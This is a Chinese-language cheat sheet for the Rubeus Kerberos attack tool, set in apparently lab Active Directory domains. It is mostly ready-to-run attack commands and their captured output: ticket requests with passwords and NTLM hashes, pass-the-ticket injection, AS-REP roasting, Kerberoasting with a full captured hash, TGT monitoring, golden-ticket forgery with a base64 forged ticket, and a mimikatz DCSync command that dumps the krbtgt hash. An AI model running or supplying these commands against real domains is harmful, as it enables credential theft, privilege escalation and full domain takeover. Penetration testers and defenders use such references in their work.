Rubeus
1. 快速利用
#申请tgt并导入内存
.\Rubeus.exe asktgt /user:rosie.powell /domain:cicada.vl /password:Cicada123 /dc:10.129.200.138 /ptt
项目地址GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.
Rubeus可以发起Kerberos请求,并将请求票据导入内存中,Rebeus提供了大量的用于Kerberos攻击的功能,比如
- TGT请求
- ST请求
- as-reproasting 攻击
- Kerberoasting攻击
- 委派攻击
- 黄金票据
- 白银票据等。
下面是一些常用的功能使用案例,完整的功能使用请看原项目
2. 申请TGT
Rubeus使用asktgt模块请求TGT,可以使用明文、密码哈希(DES加密和RC4加密)和AES Key(AES128和AES256)进行认证,可以将TGT以base64打印出来。也可以将TGT保存为文件,还可以将TGT导入内存中
asktgt模块有以下参数 中括号内的为可选参数
- user:USER 请求的用户名
- <**/password**:PASSWORD [**/enctype**:DES|RC4|AEX128|AES256] | **/des**:HASH | **/rc4**:HASH | **/aes128**:HASH | **/aes256**:HASH>
- [/domain:DOMAIN] 域名
- [/dc:DOMAIN_CONTROLLER] 域控
- [outfile:FILENAME] 输出的文件
- [/ptt] 将票据导入内存中
- [/luid] 将生成的票据用于指定的登录会话(需要管理员权限)
- [/nowrap] 打印出的base64格式票据的显示格式更友好
- [/nopac] 票据中不请求PAC
如果没有指定/domain参数,则默认使用主机当前所在的域,如果没有指定/dc参数 则使用DsGetDcName函数来获取主机当前所在域的域控
PTT
2.1. 明文密码请求
Rubeus支持使用明文密码请求TGT,使用administrator的明文密码请求TGT,命令如下:
# 明文密码申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /ptt
# 明文密码申请TGT,将票据保存为ticket.kirbi文件,并导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /ptt /outfile:ticket.kirbi
TGT导入内存后,就可以访问高权限服务了

2.2. 密码Hash请求
Rubeus也支持使用密码hash请求TGT。使用administrator的密码哈希请求TGT,命令如下
# 密码哈希申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:administrator /rc4:74520a4ec2626e3638066146a0d5ceae /enctype:RC4 /nowrap /ptt
# 密码哈希申请TGT,将票据保存为ticket.kirbi文件,并导入内存中
Rubeus.exe asktgt /user:administrator /rc4:74520a4ec2626e3638066146a0d5ceae /enctype:RC4 /nowrap /ptt /outfile:ticket.kirbi
#完整版
Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:245244f247f074475e75aba21cd3e692 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap /ptt
TGT导入内存后,即可以访问高权限服务

3. 申请ST
Rubeus使用asktgs模块申请ST,需要提供一张TGT,提供的TGT可以是base64格式的也可以是kirbi结尾的票据文件。因此要先使用Rubeus请求一张TGT,然后再使用asktgs模块使用该TGT请求指定的服务的ST。可以将请求的ST以base64格式打印出来,也可以将ST保存为文件,也可以将ST直接导入内存中。
asktgs模块有以下参数:
- </ticket:Base64 | ticket:FILE.KIRBI> 票据文件
- </service:SPN1,SPN2> 请求的服务
- [/enctype:DES|RC4|AEX128|AES256] 加密类型
- [/dc:DOMAIN_CONTROLLER] 域控
- [/outfile:FILENAME] 输出的文件
- [/ptt] 将票据导入到内存中
- [/nowrap] 打印出的base64格式票据的显示格式更友好
- </tgs:BASE64 | /tgs:FILE.KIRBI> 指定生成base64格式的票据还是票据文件
3.1. 请求TGT
首先使用Rubeus执行如下命令请求一张TGT
# 明文密码申请TGT,以base64格式打印出来并导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /ptt
3.2. 请求ST
使用上一步请求的TGT即可请求指定服务的ST了
3.3. 请求CIFS的ST
# 请求范围跟owa.god.org 的CIFS的ST,并导入内存
Rubeus.exe asktgs /service:"cifs/owa.god.org" /nowrap /ptt/ticket:TGT票据的base64格式

3.4. 请求LDAP的ST
Rubeus.exe asktgs /service:"ldap/owa.god.org" /nowrap /ptt/ticket:TGT 票据的base64格式
mimikatz.exe "lsadump::dcsync /domain:god.org /user:krbtgt/csv" "exit"
没导入ST之前无法导出krbtgt用户哈希

导入ST后就可以了

4. Rubeus导入票据
Rubeus支持通过票据文件或base64格式的票据进行导入。除了Rubeus请求生成的base64票据还可以是其他工具生成的票据,只要是.kirbi为后缀的就可以
4.1. 导入base64格式的票据
如果请求票据的时候没有使用/ptt参数导入内存中,可以直接使用Rubeus导入请求的base64格式的票据,即可访问目标
请求TGT不导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap
使用以下命令将base64格式的票据导入内存中
Rubeus.exe ptt /ticket:上一步请求的TGT
4.2. 导入票据文件
导入Rubeus生成的票据文件
使用Rubeus生成的票据文件,并使用Rubeus导入票据文件
# 明文密码申请TGT,将票据保存为ticket.kirbi文件,不导入内存中
Rubeus.exe asktgt /user:administrator /password:P@ss1234 /nowrap /outfile:ticket.kirbi
# 导入票据
Rubeus.exe ptt /ticket:ticket.kirbi
导入kekeo生成的票据文件
# 明文密码申请TGT,此时会生成一个以kirbi结尾的票据
tgt::ask /user:administrator /domain:god.org /password:P@ss1234
# 导入票据
Rubeus.exe ptt /ticket:TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
#烘焙当前域中的所有用户
Rubeus.exe asreproast
#对特定 OU 中的所有用户进行烘焙,将哈希值保存到 Hashcat 格式的输出文件中:
Rubeus.exe asreproast /ou:OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local /format:hashcat /outfile:C:\Temp\hashes.txt
#烘焙特定用户
Rubeus.exe asreproast /user:TestOU3user
#烘焙外部信任域中的所有用户
Rubeus.exe asreproast /domain:dev.testlab.local
#使用备用凭证在外部非信任域中烘焙用户
Rubeus.exe asreproast /domain:external.local /creduser:"EXTERNAL.local\administrator" /credpassword:"Password123!"
C:\Users\Administrator\Desktop>.\Rubeus.exe kerberoast /domain:logistics.ad /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Target Domain : logistics.ad
[*] Searching path 'LDAP://DC02.logistics.ad/DC=logistics,DC=ad' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
[*] Total kerberoastable users : 1
[*] SamAccountName : pirate
[*] DistinguishedName : CN=pirate,CN=Users,DC=logistics,DC=ad
[*] ServicePrincipalName : Pirate/001.logistics.ad:1433
[*] PwdLastSet : 4/5/2024 2:53:32 PM
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*pirate$logistics.ad$Pirate/001.logistics.ad:1433@logistics.ad*$B2392F7FAA583332ECF2B3ABDA3BB9CC$393F47848765F0ADCE46729915AD2F511DCB39E7ADC5C36C02CD6F1E9C804E308D244E8597554795AB5894E95043C704E4C2868E531634969E473298F2E6A810A371E3F4361A95FF6621FD0ED37B3886AB2E42AAF78E1A87061A25BC485B30D9938EB56314528B65F1293947CACBE8F8B6CD4CF460F5D83AAC4F88A423653AD61F973B2A9A67BF08534F9A66EC710E163B1B02153B54C53AB550363571EEEBF87A08639EFBA70302F67E603A6BB3D2467AB3E5307BA7B6550F64A1FD7E133AD1EF1E70E15F2ECFFB60BC8EAD30905F44FC42654432167437050072F2385B75D414650424963A093B9938D33421FE6A988372EBB3A1C20BEBC1EC9EACFE3BB2B070ABC609A53D8DBB82B82AFF84E0294695FAE176BC6696DD8D539A010CC30BD078F63FE9C065D29A60CE82B385861B033CD4EB73EFB3944D884218CCD0355C45C774B6BCA8EFA8BE2CB7FED955A2424B41CCF020E625F49B1BC315A22399D4DC7DA5FD44BC1B9F0F00561F77C32C4E492C51D34B1A08FE04568ADFCA914C01B5B09EB98197701D8074A0EAA163D74816625031F471DA85A069F3BCCEAE62DAE56AE88231584464F13829D44B005D15E23E8B4BD7FA6CCA28F81D6B187CB88385121A6377EE5CC4918B912DCBAF22AF7999EAFC8C9E85B5AD13F2A682562A580658BA1EF94152A7B11AF5C073AFF1A17ED96304C652E2023BEBFAF2713CB10E54E2673F1655B884612AFE3160FC7F45DE11A405DE3DF305CD0668B39715D73C722D09054E183D5495A1B48F0DAC9B708836656E135E4E1DA67DAB1573D66224DDE6BC1C7DAA14E6882BF9A601193427B1217718DA6C72ED25903AB25F0DD21575ECB04819CEB7A6660BF838102F959F63AE1EDE5FF9CDF5C34B056B1E08E459F9EE94DF09DAC20390011F41FBF6CC7FA782FB5A7734B0477630FFC151E78D7D59A850799F9C9511A7E6E1EAA8323DEAC2C0AACA3D6BCDC46DDA9FCA6FD42A15E3B8258CD886AA2732D66CDFA9F9673A92DAE13BCFE2AC5962FE88F8683D952185A427888687B78FE01C4681916AD813D266C7729386E7B7CF18A12795977DFF710B5F60BC6FB15C3D338899321AE69DACB5C6120F76EB9370C90E462A642EF57EFC7CD69AFB73B99BE06EA18E417A039C90963AFB4762C4745A7CEA09E417251AC1AD8EEFA6025B4FB8E5B703EF9A69850EB0307E41EF1552FEA1AB43DC40D083629ADD39B024F35A6D7DA1C7AFB2D396C6F6C47959A66E845F537EE380BB0E8B6D33B74081C6EA80CE24860F881850262A7EA65CAB2BE04FE80CC81F6912969BAA8A86DE40FB9E6D343E105948F04842AAE5055E9D70698BA9DE620DB269D0BE136FBE7353D47116E43FAF4F3B5F88B78BB620253F1289CE8967184A0427EED61B5E0D8774FC5F89D5313AAFE88B6858E29C4BEC87D01A5EC67E38AAEDF05CEA46EB01CA21584EE4B28C76735A7118759FD2CAD438F61245A01B65B844F7641D8D06502490E3BBB13974A8F6DF3422F439BED38ED6247CACB79BE3809F1BAF2927D74077FFBB4084DE6EBC02EF7F149190CA5DF334993BA2D7A49604E6B04722DF061C8AC5682513
7. 监听内存票据
*Evil-WinRM* PS C:\Users\Administrator\Documents> .\Rubeus.exe monitor /interval:5 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: TGT Monitoring
[*] Monitoring every 5 seconds for new TGTs
8. 创建牺牲登录会话
PS C:\Tools> .\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
[*] Action: Create Process (/net only)
[*] Using random username and password.
[*] Showing process : True
[*] Username : Y1XGWQUL
[*] Domain : HT3J3C08
[*] Password : 967IB2AL
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 4288
[+] LUID : 0xa4a39
9. 伪造黄金票据
PS C:\Tools> .\Rubeus.exe golden /rc4:992093609707726257e0959ce3e24771 /domain:dev.inlanefreight.ad /sid:S-1-5-21-2901893446-2198612369-2488268720 /sids:S-1-5-21-2879935145-656083549-3766571964-519 /user:Administrator /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.3
[*] Action: Build TGT
[*] Building PAC
[*] Domain : DEV.INLANEFREIGHT.AD (DEV)
[*] SID : S-1-5-21-2901893446-2198612369-2488268720
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ExtraSIDs : S-1-5-21-2879935145-656083549-3766571964-519
[*] ServiceKey : 992093609707726257e0959ce3e24771
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 992093609707726257e0959ce3e24771
[*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5
[*] Service : krbtgt
[*] Target : dev.inlanefreight.ad
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'Administrator@dev.inlanefreight.ad'
[*] AuthTime : 3/21/2024 4:54:06 AM
[*] StartTime : 3/21/2024 4:54:06 AM
[*] EndTime : 3/21/2024 2:54:06 PM
[*] RenewTill : 3/28/2024 4:54:06 AM
[*] base64(ticket.kirbi):
doIF0TCCBc2gAwIBBaEDAgEWooIEtjCCBLJhggSuMIIEqqADAgEFoRYbFERFVi5JTkxBTkVGUkVJR0hU
LkFEoikwJ6ADAgECoSAwHhsGa3JidGd0GxRkZXYuaW5sYW5lZnJlaWdodC5hZKOCBF4wggRaoAMCAReh
AwIBA6KCBEwEggRIkMMhmLRh550nQxK7xcfcOYmGq42kxRqaQl1dXbPhNFiORjzYNq/ANWORzK/aVk7y
BnlJuRZNmWxSYLfIAc0L9FXg16byN9budsgda9OnunMhzCph8+yZO7PyZY87ZiwfCD2/+3HV2J4hlSqE
tUGupnqDoDCErp1fB8UE53Na9srZOs8S05Qg4T38Xj4mXymqu19VyJN2lYmszU/+li+WQoPjgi9DKwVT
umEQa36EKOlZ1weSSP7TwFvi46G+scSihtgO52iA+mP6KV6Qqcn4IaCfUzKc54dtzF8lyTKpLOBfSAyA
jtMLgxSmaJy76tHf9vJ6V5E1JMfXoJS3S3MOYDud/uk4sUzNTmmsiRCBdTs/B3VttTG6NLPwCgp8Lr3c
TJtqtx29mEqYNFbectK+BQYHhpYraBOKhHR2UrOt6d1R8cVv1x4s8iRB9PAZ5lHVJwKrljqGXB9Q3TMw
y3CFZ2kOo2TSBSUW31KFnPhX7fKStTonQyHM+rCFPuV68FUFPCarZZdhchEdd3Lz8anGFQFNvXt6qLva
oSOWY7UHWU482K2J9/LY4rRMJIAY8Wd9CmNNkOSLm/Z0bz3H1h57D7k+GWBSIvR0HDyZ4OcyYOMHZmSM
lsDH1Riw7/OwaiFAejXY+t8hTICTn5B/K6/xuYxgj7E7KhQgGpVWzEoaFTBD9fDP2RGSfbKpykj+iHU+
gYNI+PimQHQEbdqj5v8c+SBdC/1K6vCpTsJYHHOKZt+ZGcGyVfcn93FX1eI2wWmEMaO+9wauPtqd5VuK
<SNIP>
[+] Ticket successfully imported!